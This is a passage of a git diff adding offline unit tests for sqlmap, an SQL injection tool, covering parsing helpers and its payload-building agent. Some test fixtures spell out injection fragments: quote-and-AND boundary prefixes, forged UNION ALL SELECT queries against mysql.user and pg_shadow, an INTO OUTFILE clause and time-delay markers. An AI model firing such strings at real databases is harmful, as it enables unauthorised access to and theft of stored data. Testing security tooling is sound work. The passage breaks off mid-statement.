+ conf.nullConnection = self._old_null + + def test_html_entity_amp(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual( + getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")), + "foo&bar", + ) + + def test_numeric_hex_entity_tab(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b" ", None, "text/html; charset=utf-8")), "\t") + + def test_numeric_hex_entity_letter(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b"J", None, "text/html; charset=utf-8")), "J") + + def test_unicode_entity(self): + from lib.request.basic import decodePage + conf.encoding = None + self.assertEqual(decodePage(b"™", None, "text/html; charset=utf-8"), u"™") + + def test_empty_page(self): + from lib.request.basic import decodePage + from lib.core.common import getText + # empty page short-circuits to getUnicode(page) + self.assertEqual(getText(decodePage(b"", None, "text/html")), "") + + +class TestOptionSetPrefixSuffix(unittest.TestCase): + """_setPrefixSuffix boundary construction (pure conf-mutation, no I/O).""" + + def setUp(self): + self._saved = {k: conf.get(k) for k in ("prefix", "suffix", "boundaries")} + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + + def _run(self, prefix, suffix): + from lib.core.option import _setPrefixSuffix + conf.prefix = prefix + conf.suffix = suffix + conf.boundaries = None + _setPrefixSuffix() + return conf.boundaries + + def test_none_no_boundary(self): + # when either prefix or suffix is None, no boundary is created + self.assertIsNone(self._run(None, None)) + + def test_single_quote_ptype(self): + boundaries = self._run("' AND ", "'") + self.assertEqual(len(boundaries), 1) + b = boundaries[0] + self.assertEqual(b.prefix, "' AND ") + self.assertEqual(b.suffix, "'") + self.assertEqual(b.ptype, 2) # single-quote, no LIKE + self.assertEqual(b.level, 1) + self.assertEqual(b.clause, [0]) + + def test_double_quote_ptype(self): + boundaries = self._run('" AND ', '"') + self.assertEqual(boundaries[0].ptype, 4) # double-quote, no LIKE + + def test_numeric_ptype(self): + boundaries = self._run(" AND ", "") + self.assertEqual(boundaries[0].ptype, 1) # no quoting + + def test_like_single_quote_ptype(self): + boundaries = self._run("' AND ", "' like '%") + self.assertEqual(boundaries[0].ptype, 3) # LIKE with single quote + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_core_final.py b/tests/test_core_final.py new file mode 100644 index 00000000000..1e1119a4863 --- /dev/null +++ b/tests/test_core_final.py @@ -0,0 +1,605 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional unit coverage for lib/core/common.py, lib/core/option.py and +lib/core/target.py, targeting *pure* (or near-pure) functions and branches NOT +already exercised by the existing test modules: + + * tests/test_common_utils.py / test_common_parsers.py / test_core_more.py + * tests/test_option_setup.py / test_option_more.py + * tests/test_target_parsing.py + +This file instead covers (common.py): + + boldifyMessage, calculateDeltaSeconds, commonFinderOnly, + enumValueToNameLookup, extractErrorMessage, filePathToSafeString, + isWindowsDriveLetterPath, cleanReplaceUnicode, trimAlphaNum, + removePostHintPrefix, safeExpandUser, safeFilepathEncode, + serializeObject/unserializeObject, applyFunctionRecursively, + extractExpectedValue, getHeader, getRequestHeader, parseJson, + parsePasswordHash, findMultipartPostBoundary, setTechnique/getTechnique, + extractRegexResult, extractTextTagContent, getFilteredPageContent, + checkFile, listToStrValue, intersect, isZipFile, checkOldOptions. + +(option.py): + + _setHTTPAuthentication (basic/ntlm/bearer/pki + error branches), + _setWriteFile, _setHTTPTimeout, _setAuthCred. + +Everything runs in isolation: no network, no DBMS, no persistent filesystem +mutation. All mutated conf/kb/Backend/socket state is snapshotted and restored. +""" + +import os +import socket +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.core.option as option +from lib.core.data import conf, kb, paths +from lib.core.enums import ( + AUTH_TYPE, + DBMS, + EXPECTED, + HTTP_HEADER, + SORT_ORDER, +) +from lib.core.exception import ( + SqlmapFilePathException, + SqlmapMissingMandatoryOptionException, + SqlmapMissingDependence, + SqlmapSyntaxException, + SqlmapSystemException, +) +from lib.core.settings import NULL +from lib.core.common import ( + applyFunctionRecursively, + boldifyMessage, + calculateDeltaSeconds, + checkFile, + checkOldOptions, + cleanReplaceUnicode, + commonFinderOnly, + enumValueToNameLookup, + extractErrorMessage, + extractExpectedValue, + extractRegexResult, + extractTextTagContent, + filePathToSafeString, + findMultipartPostBoundary, + getFilteredPageContent, + getHeader, + getRequestHeader, + getText, + getTechnique, + intersect, + isWindowsDriveLetterPath, + isZipFile, + listToStrValue, + parseJson, + parsePasswordHash, + removePostHintPrefix, + safeExpandUser, + safeFilepathEncode, + serializeObject, + setTechnique, + trimAlphaNum, + unserializeObject, +) +from thirdparty.six.moves import urllib as _urllib + + +class _FakeRequest(object): + """Minimal stand-in for urllib2.Request used by getRequestHeader().""" + + def __init__(self, headers): + self.headers = headers + + def header_items(self): + return self.headers.items() + + +class TestCommonPureHelpers(unittest.TestCase): + """Pure string/encoding/list/regex helpers from lib/core/common.py.""" + + def test_boldify_message_marks_known_pattern(self): + self.assertEqual( + boldifyMessage("GET parameter id is not injectable", istty=True), + "\x1b[1mGET parameter id is not injectable\x1b[0m", + ) + + def test_boldify_message_leaves_plain_unchanged(self): + self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") + + def test_calculate_delta_seconds_from_epoch(self): + self.assertGreater(calculateDeltaSeconds(0), 1151721660) + + def test_calculate_delta_seconds_nonnegative(self): + import time as _time + self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) + + def test_common_finder_only_returns_longest_common_prefix(self): + self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") + + def test_enum_value_to_name_lookup_hit(self): + self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") + + def test_enum_value_to_name_lookup_miss(self): + self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) + + def test_file_path_to_safe_string(self): + self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") + + def test_file_path_to_safe_string_spaces_backslashes(self): + self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") + + def test_is_windows_drive_letter_path_true(self): + self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) + + def test_is_windows_drive_letter_path_false(self): + self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) + + def test_clean_replace_unicode_list(self): + self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) + + def test_clean_replace_unicode_scalar(self): + self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") + + def test_trim_alpha_num(self): + self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") + + def test_trim_alpha_num_all_alnum(self): + self.assertEqual(trimAlphaNum("abc123"), "") + + def test_trim_alpha_num_empty(self): + self.assertEqual(trimAlphaNum(""), "") + + def test_list_to_str_value_list(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_list_to_str_value_tuple(self): + self.assertEqual(listToStrValue((4, 5)), "4, 5") + + def test_list_to_str_value_scalar(self): + self.assertEqual(listToStrValue("foo"), "foo") + + def test_intersect_lists(self): + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + + def test_intersect_lowercase(self): + self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) + + def test_intersect_empty(self): + self.assertEqual(intersect([], [1, 2]), []) + + def test_apply_function_recursively(self): + self.assertEqual( + applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), + [True, True, [True, False]], + ) + + def test_apply_function_recursively_scalar(self): + self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) + + +class TestCommonRegexAndPage(unittest.TestCase): + """Regex / page-content extraction helpers.""" + + def test_extract_regex_result_hit(self): + self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") + + def test_extract_regex_result_no_match(self): + self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) + + def test_extract_regex_result_no_result_group(self): + self.assertIsNone(extractRegexResult(r"plain", "plain")) + + def test_extract_regex_result_empty_content(self): + self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) + + def test_extract_text_tag_content(self): + self.assertEqual( + extractTextTagContent("Title
foobar
"), + ["Title", "foobar"], + ) + + def test_extract_text_tag_content_empty(self): + self.assertEqual(extractTextTagContent(""), []) + + def test_get_filtered_page_content(self): + self.assertEqual( + getFilteredPageContent(u"foobartest"), + "foobar test", + ) + + def test_get_filtered_page_content_drops_script(self): + page = u"hello" + self.assertNotIn("var x", getFilteredPageContent(page)) + self.assertIn("hello", getFilteredPageContent(page)) + + def test_get_filtered_page_content_nonstring_passthrough(self): + self.assertEqual(getFilteredPageContent(None), None) + + def test_extract_error_message_oracle(self): + page = (u"Test\nWarning: oci_parse() " + u"[function.oci-parse]: ORA-01756: quoted string not properly " + u"terminated

Only a test page

") + self.assertEqual( + getText(extractErrorMessage(page)), + "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", + ) + + def test_extract_error_message_none_for_plain(self): + self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) + + def test_extract_error_message_non_string(self): + self.assertIsNone(extractErrorMessage(None)) + + def test_find_multipart_post_boundary(self): + post = ("-----------------------------9051914041544843365972754266\n" + "Content-Disposition: form-data; name=text\n\ndefault") + self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") + + def test_find_multipart_post_boundary_none(self): + self.assertIsNone(findMultipartPostBoundary("")) + + +class TestCommonHeadersAndExpected(unittest.TestCase): + + def test_get_header_case_insensitive(self): + self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") + + def test_get_header_missing(self): + self.assertIsNone(getHeader({"Foo": "bar"}, "x")) + + def test_get_header_empty_dict(self): + self.assertIsNone(getHeader({}, "anything")) + + def test_get_request_header_hit(self): + self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") + + def test_get_request_header_miss(self): + self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) + + def test_extract_expected_value_bool_true(self): + self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) + + def test_extract_expected_value_bool_false(self): + self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) + + def test_extract_expected_value_bool_word(self): + self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) + self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) + + def test_extract_expected_value_int(self): + self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) + + def test_extract_expected_value_int_invalid(self): + self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) + + def test_extract_expected_value_no_expected(self): + self.assertEqual(extractExpectedValue("foo", None), "foo") + + +class TestParseJsonAndHash(unittest.TestCase): + + def test_parse_json_double_quotes(self): + self.assertEqual(parseJson('{"id":1}')["id"], 1) + + def test_parse_json_single_quotes(self): + self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) + + def test_parse_json_not_json(self): + self.assertIsNone(parseJson("this is not json")) + + def test_parse_password_hash_mssql(self): + saved = kb.forcedDbms + try: + kb.forcedDbms = DBMS.MSSQL + result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + self.assertIn("salt: 4086ceb6", result) + self.assertIn("header: 0x0100", result) + finally: + kb.forcedDbms = saved + + def test_parse_password_hash_none(self): + self.assertEqual(parsePasswordHash(None), NULL) + + def test_parse_password_hash_blank(self): + self.assertEqual(parsePasswordHash(" "), NULL) + + +class TestSerializeAndTechnique(unittest.TestCase): + + def test_serialize_roundtrip(self): + self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) + + def test_serialize_object_is_str(self): + self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) + + def test_unserialize_none(self): + self.assertIsNone(unserializeObject(None)) + + def test_set_get_technique_thread_local(self): + saved = getTechnique() + try: + setTechnique(5) + self.assertEqual(getTechnique(), 5) + finally: + setTechnique(saved) + + def test_get_technique_falls_back_to_kb(self): + saved_thread = getTechnique() + saved_kb = kb.get("technique") + try: + setTechnique(None) + kb.technique = 7 + self.assertEqual(getTechnique(), 7) + finally: + setTechnique(saved_thread) + kb.technique = saved_kb + + +class TestRemovePostHint(unittest.TestCase): + + def test_removes_known_prefix(self): + self.assertEqual(removePostHintPrefix("JSON id"), "id") + + def test_no_prefix_unchanged(self): + self.assertEqual(removePostHintPrefix("id"), "id") + + +class TestFileHelpers(unittest.TestCase): + + def test_check_file_existing(self): + self.assertTrue(checkFile(__file__)) + + def test_check_file_missing_no_raise(self): + self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) + + def test_check_file_missing_raises(self): + with self.assertRaises(SqlmapSystemException): + checkFile("/no/such/path_xyz_123", raiseOnError=True) + + def test_is_zip_file_wordlist(self): + # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap + self.assertTrue(isZipFile(paths.WORDLIST)) + + def test_is_zip_file_plain_text(self): + self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) + + def test_safe_filepath_encode_ascii_passthrough(self): + # On Python 3 the function returns the value unchanged for str input + self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") + + def test_safe_expand_user_basename_preserved(self): + self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) + + +class TestCheckOldOptions(unittest.TestCase): + + def test_no_old_options_is_noop(self): + # Returns None and does not raise when no deprecated options are present + self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) + + +class TestOptionSetWriteFile(unittest.TestCase): + + def setUp(self): + self._saved = (conf.fileWrite, conf.fileDest, conf.get("fileWriteType")) + + def tearDown(self): + conf.fileWrite, conf.fileDest, conf.fileWriteType = self._saved + + def test_noop_when_no_filewrite(self): + conf.fileWrite = None + self.assertIsNone(option._setWriteFile()) + + def test_raises_on_missing_local_file(self): + conf.fileWrite = "/no/such/local_file_xyz" + conf.fileDest = "/var/www/x" + with self.assertRaises(SqlmapFilePathException): + option._setWriteFile() + + def test_raises_on_missing_dest(self): + fd, path = tempfile.mkstemp() + os.close(fd) + try: + conf.fileWrite = path + conf.fileDest = None + with self.assertRaises(SqlmapMissingMandatoryOptionException): + option._setWriteFile() + finally: + os.unlink(path) + + def test_sets_file_write_type(self): + fd, path = tempfile.mkstemp() + os.close(fd) + try: + conf.fileWrite = path + conf.fileDest = "/var/www/x" + option._setWriteFile() + self.assertIn(conf.fileWriteType, ("text", "binary")) + finally: + os.unlink(path) + + +class TestOptionSetHTTPTimeout(unittest.TestCase): + + def setUp(self): + self._savedTimeout = conf.timeout + self._savedSocket = socket.getdefaulttimeout() + + def tearDown(self): + conf.timeout = self._savedTimeout + socket.setdefaulttimeout(self._savedSocket) + + def test_explicit_timeout(self): + conf.timeout = 10 + option._setHTTPTimeout() + self.assertEqual(conf.timeout, 10.0) + + def test_below_minimum_is_clamped(self): + conf.timeout = 1 + option._setHTTPTimeout() + self.assertEqual(conf.timeout, 3.0) + + def test_default_when_unset(self): + conf.timeout = None + option._setHTTPTimeout() + self.assertEqual(conf.timeout, 30.0) + + +class TestOptionSetHTTPAuthentication(unittest.TestCase): + + def setUp(self): + self._saved = { + "authType": conf.authType, + "authCred": conf.authCred, + "authFile": conf.authFile, + "authUsername": conf.authUsername, + "authPassword": conf.authPassword, + "httpHeaders": list(conf.httpHeaders), + "passwordMgr": kb.passwordMgr, + } + # provide a real password manager so the basic/digest branches work + kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() + + def tearDown(self): + conf.authType = self._saved["authType"] + conf.authCred = self._saved["authCred"] + conf.authFile = self._saved["authFile"] + conf.authUsername = self._saved["authUsername"] + conf.authPassword = self._saved["authPassword"] + conf.httpHeaders = self._saved["httpHeaders"] + kb.passwordMgr = self._saved["passwordMgr"] + + def test_noop_when_nothing_set(self): + conf.authType = None + conf.authCred = None + conf.authFile = None + self.assertIsNone(option._setHTTPAuthentication()) + + def test_basic_credentials_parsed(self): + conf.authType = "basic" + conf.authCred = "admin:secret" + conf.authFile = None + option._setHTTPAuthentication() + self.assertEqual(conf.authUsername, "admin") + self.assertEqual(conf.authPassword, "secret") + + def test_ntlm_credentials_parsed(self): + conf.authType = "ntlm" + conf.authCred = "DOMAIN\\user:pa:ss" + conf.authFile = None + conf.authUsername = None + conf.authPassword = None + # The python-ntlm handler module is optional; credential parsing happens + # before the handler import, so the parsed creds are set regardless. + try: + option._setHTTPAuthentication() + except SqlmapMissingDependence: + pass + self.assertEqual(conf.authUsername, "DOMAIN\\user") + self.assertEqual(conf.authPassword, "pa:ss") + + def test_ntlm_bad_format_raises(self): + conf.authType = "ntlm" + conf.authCred = "nobackslash:pass" + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + def test_bearer_appends_authorization_header(self): + conf.authType = "bearer" + conf.authCred = "tok123" + conf.authFile = None + conf.httpHeaders = [] + option._setHTTPAuthentication() + self.assertIn((HTTP_HEADER.AUTHORIZATION, "Bearer tok123"), conf.httpHeaders) + + def test_unsupported_type_raises(self): + conf.authType = "wrongtype" + conf.authCred = "a:b" + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + def test_type_without_credentials_raises(self): + conf.authType = "basic" + conf.authCred = None + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + def test_credentials_without_type_raises(self): + conf.authType = None + conf.authCred = "a:b" + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + def test_authfile_without_type_defaults_to_pki(self): + conf.authType = None + conf.authCred = None + conf.authFile = __file__ # exists, so checkFile() inside PKI branch passes + option._setHTTPAuthentication() + self.assertEqual(conf.authType, AUTH_TYPE.PKI) + + def test_pki_type_without_authfile_raises(self): + conf.authType = "pki" + conf.authCred = "x" + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + +class TestOptionSetAuthCred(unittest.TestCase): + + def setUp(self): + self._saved = { + "scheme": conf.scheme, + "hostname": conf.hostname, + "port": conf.port, + "authUsername": conf.authUsername, + "authPassword": conf.authPassword, + "passwordMgr": kb.passwordMgr, + } + + def tearDown(self): + conf.scheme = self._saved["scheme"] + conf.hostname = self._saved["hostname"] + conf.port = self._saved["port"] + conf.authUsername = self._saved["authUsername"] + conf.authPassword = self._saved["authPassword"] + kb.passwordMgr = self._saved["passwordMgr"] + + def test_noop_without_password_manager(self): + kb.passwordMgr = None + # Must not raise when there is no password manager configured + self.assertIsNone(option._setAuthCred()) + + def test_adds_credentials_to_manager(self): + kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() + conf.scheme = "http" + conf.hostname = "host" + conf.port = 80 + conf.authUsername = "u" + conf.authPassword = "p" + option._setAuthCred() + self.assertEqual( + kb.passwordMgr.find_user_password(None, "http://host:80"), + ("u", "p"), + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_core_more.py b/tests/test_core_more.py new file mode 100644 index 00000000000..529415a8d39 --- /dev/null +++ b/tests/test_core_more.py @@ -0,0 +1,706 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional unit coverage for lib/core/agent.py, lib/core/common.py and +lib/utils/brute.py, targeting functions/branches NOT already exercised by: + + * tests/test_agent.py (payload delimiters, prefix/suffix defaults, + getFields(SELECT a,b), one MySQL concatQuery, + cleanupPayload RANDNUM) + * tests/test_agent_dialects.py (null/cast/concat, hexConvertField, + nullAndCastField, simpleConcatenate, + forgeUnionQuery(-1,3,...), limitQuery(0,...), + forgeCaseStatement, runAsDBMSUser-noop) + * tests/test_common_utils.py (paramToDict, getCharset, getLimitRange, + parseUnionPage, safeStringFormat, urlencode, + parseTargetUrl/Direct, safeSQLIdentificatorNaming) + * tests/test_common_parsers.py (request-file parsers, reflective masking, + findPageForms, saveConfig, getSQLSnippet, + Backend setters, urlencode/safeStringFormat extras) + +This file instead covers: + + agent.py: forgeUnionQuery (limited / multipleUnions / fromTable / collate / + INTO OUTFILE), limitQuery across several DBMS shapes (TOP/ROWNUM/ + OFFSET dialects + the " FROM "-less early return), whereQuery + (dumpWhere splicing), getComment, concatQuery(unpack=False), + cleanupPayload([ORIGVALUE]/[ORIGINAL]/[SPACE_REPLACE]), + adjustLateValues (SLEEPTIME/base64/RANDNUM), getFields on TOP / + DISTINCT / function / no-FROM shapes, prefixQuery/suffixQuery with + explicit prefix/suffix/clause/comment args, nullAndCastField noCast. + + common.py: isNoneValue, isNullValue, isNumPosStrValue, isNumber, isListLike, + filterPairValues, filterListValue, filterNone, filterStringValue, + zeroDepthSearch, splitFields, unArrayizeValue, flattenValue, + arrayizeValue, joinValue, aliasToDbmsEnum, getPageWordSet, + resetCookieJar (clear branch), normalizeUnicode. + + brute.py: tableExists / columnExists driven with conf.direct=True and the + external collaborators (inject.checkBooleanExpression, getFileItems, + runThreads) monkeypatched, plus _addPageTextWords. + +Everything runs in isolation (no network, no DBMS, no filesystem mutation of +the project). Any global conf/kb/Backend state that a call reads or writes is +snapshotted in setUp and restored in tearDown so test ordering is irrelevant. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.data import conf, kb, queries +from lib.core.enums import DBMS +from lib.core.settings import ( + PAYLOAD_DELIMITER, + SLEEP_TIME_MARKER, + BOUNDED_BASE64_MARKER, + NULL, +) +from lib.core.common import ( + Backend, + isNoneValue, + isNullValue, + isNumPosStrValue, + isNumber, + isListLike, + filterPairValues, + filterListValue, + filterNone, + filterStringValue, + zeroDepthSearch, + splitFields, + unArrayizeValue, + flattenValue, + arrayizeValue, + joinValue, + aliasToDbmsEnum, + getPageWordSet, + resetCookieJar, + normalizeUnicode, +) + + +class DbmsStateMixin(object): + """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" + + def setUp(self): + self._forcedDbms = kb.forcedDbms + self._sticky = kb.stickyDBMS + self._batch = conf.batch + conf.batch = True + + def tearDown(self): + kb.forcedDbms = self._forcedDbms + kb.stickyDBMS = self._sticky + conf.batch = self._batch + + +# --------------------------------------------------------------------------- # +# lib/core/agent.py +# --------------------------------------------------------------------------- # + +class TestForgeUnionQuery(DbmsStateMixin, unittest.TestCase): + """forgeUnionQuery arg combinations not reached by the dialect smoke test.""" + + def test_limited_subselect_wraps_query(self): + set_dbms(DBMS.MYSQL) + # limited=True wraps the payload as (SELECT ...) at `position`, fills the + # rest with `char`, and appends the FROM/comment/suffix + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 1, 3, None, + None, None, "NULL", None, limited=True) + self.assertIn("(SELECT user FROM mysql.user)", out) + self.assertTrue(out.startswith(" UNION ALL SELECT NULL,(SELECT"), msg=out) + # position 1 of 3 => NULL,,NULL + self.assertEqual(out.count("NULL"), 2, msg=out) + + def test_multiple_unions_appends_second_select(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT a FROM t", 0, 2, None, None, None, + "NULL", None, multipleUnions="b") + # the multipleUnions payload produces a *second* UNION ALL SELECT + self.assertEqual(out.upper().count("UNION ALL SELECT"), 2, msg=out) + self.assertIn("b", out) + + def test_from_table_override(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT 1", 0, 1, None, None, None, "NULL", + None, fromTable=" FROM dummytable") + self.assertIn("FROM dummytable", out, msg=out) + + def test_into_outfile_forces_null_position(self): + set_dbms(DBMS.MYSQL) + # an INTO OUTFILE clause forces position 0 / char NULL and re-appends the file part + out = agent.forgeUnionQuery("SELECT a INTO OUTFILE '/tmp/o.txt' FROM t", + 1, 2, None, None, None, "NULL", None) + self.assertIn("INTO OUTFILE '/tmp/o.txt'", out, msg=out) + + def test_collate_clause_on_mysql(self): + set_dbms(DBMS.MYSQL) + # collate=True on MySQL wraps a non-NULL, non-numeric value in the + # MYSQL_UNION_VALUE_CAST collation wrapper + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 0, 1, None, + None, None, "NULL", None, collate=True) + self.assertIn("CONVERT", out.upper(), msg=out) + + +class TestLimitQuery(DbmsStateMixin, unittest.TestCase): + """limitQuery dialect shapes beyond the single limitQuery(0,...) smoke test.""" + + def test_no_from_returns_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.limitQuery(5, "SELECT 1", "1"), "SELECT 1") + + def test_mysql_appends_limit_offset_one(self): + set_dbms(DBMS.MYSQL) + out = agent.limitQuery(7, "SELECT user FROM mysql.user", "user") + self.assertTrue(out.endswith("LIMIT 7,1"), msg=out) + + def test_pgsql_offset_form(self): + set_dbms(DBMS.PGSQL) + out = agent.limitQuery(4, "SELECT usename FROM pg_shadow", "usename") + self.assertIn("OFFSET 4 LIMIT 1", out, msg=out) + + def test_oracle_rownum_wrap(self): + set_dbms(DBMS.ORACLE) + out = agent.limitQuery(2, "SELECT banner FROM v$version", ["banner"]) + # Oracle wraps in a ROWNUM-bounded subselect ending with = + self.assertIn("ROWNUM", out.upper(), msg=out) + self.assertTrue(out.rstrip().endswith("=3"), msg=out) + + def test_firebird_first_skip(self): + set_dbms(DBMS.FIREBIRD) + out = agent.limitQuery(3, "SELECT foo FROM bar", "foo") + self.assertIsInstance(out, str) + self.assertIn("foo", out) + # Firebird uses ROWS TO (the FIRST/SKIP emulation); pin + # the exact shape so a broken offset arithmetic is caught. + self.assertTrue(out.endswith("ROWS 4 TO 4"), msg=out) + + def test_mssql_top_not_in(self): + set_dbms(DBMS.MSSQL) + out = agent.limitQuery(2, "SELECT name FROM sysobjects", "name", uniqueField="name") + # MSSQL emulates LIMIT via TOP + NOT IN + self.assertIn("TOP", out.upper(), msg=out) + self.assertIn("NOT IN", out.upper(), msg=out) + + +class TestWhereQuery(DbmsStateMixin, unittest.TestCase): + """whereQuery only acts when conf.dumpWhere is set.""" + + def setUp(self): + DbmsStateMixin.setUp(self) + self._dumpWhere = conf.dumpWhere + self._tbl = conf.tbl + + def tearDown(self): + conf.dumpWhere = self._dumpWhere + conf.tbl = self._tbl + DbmsStateMixin.tearDown(self) + + def test_no_dumpwhere_is_identity(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = None + self.assertEqual(agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t") + self.assertIn("WHERE id>10", out, msg=out) + + def test_existing_where_gets_anded(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t WHERE b=1") + self.assertIn("AND id>10", out, msg=out) + + def test_order_by_suffix_preserved(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t ORDER BY a") + # the genuine trailing ORDER BY is kept after the spliced WHERE + self.assertIn("WHERE id>10", out, msg=out) + # the ORDER BY must survive *after* the spliced WHERE clause; the + # substring check alone could pass even if the suffix were dropped. + self.assertTrue(out.rstrip().endswith("ORDER BY a"), msg=out) + + +class TestGetComment(unittest.TestCase): + def test_present(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict({"comment": "-- x"})), "-- x") + + def test_absent_returns_empty(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict()), "") + + +class TestConcatQueryUnpack(DbmsStateMixin, unittest.TestCase): + def test_unpack_false_returns_input_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.concatQuery("SELECT a FROM t", unpack=False), + "SELECT a FROM t") + + def test_pgsql_unpack_uses_pipe_concat(self): + set_dbms(DBMS.PGSQL) + out = agent.concatQuery("SELECT usename FROM pg_shadow") + self.assertIn("||", out, msg=out) + self.assertIn(kb.chars.start, out, msg=out) + self.assertIn(kb.chars.stop, out, msg=out) + + +class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase): + def test_origvalue_digit_inlined(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="42") + self.assertEqual(out, "x=42") + + def test_origvalue_nondigit_quoted(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="abc") + self.assertIn("'abc'", out, msg=out) + + def test_original_marker_raw_substitution(self): + out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw") + self.assertEqual(out, "p=raw") + + def test_space_replace_marker(self): + out = agent.cleanupPayload("a[SPACE_REPLACE]b") + self.assertEqual(out, "a%sb" % kb.chars.space) + + def test_non_string_returns_none(self): + self.assertIsNone(agent.cleanupPayload(None)) + + +class TestAdjustLateValues(DbmsStateMixin, unittest.TestCase): + def test_sleeptime_replaced_with_timesec(self): + out = agent.adjustLateValues("SLEEP(%s)" % SLEEP_TIME_MARKER) + self.assertEqual(out, "SLEEP(%s)" % conf.timeSec) + self.assertNotIn(SLEEP_TIME_MARKER, out) + + def test_randnum_marker_substituted(self): + out = agent.adjustLateValues("v=[RANDNUM]") + self.assertNotIn("[RANDNUM]", out) + self.assertTrue(out.split("=")[1].isdigit(), msg=out) + + def test_bounded_base64_marker_encoded(self): + payload = "%sAB%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER) + out = 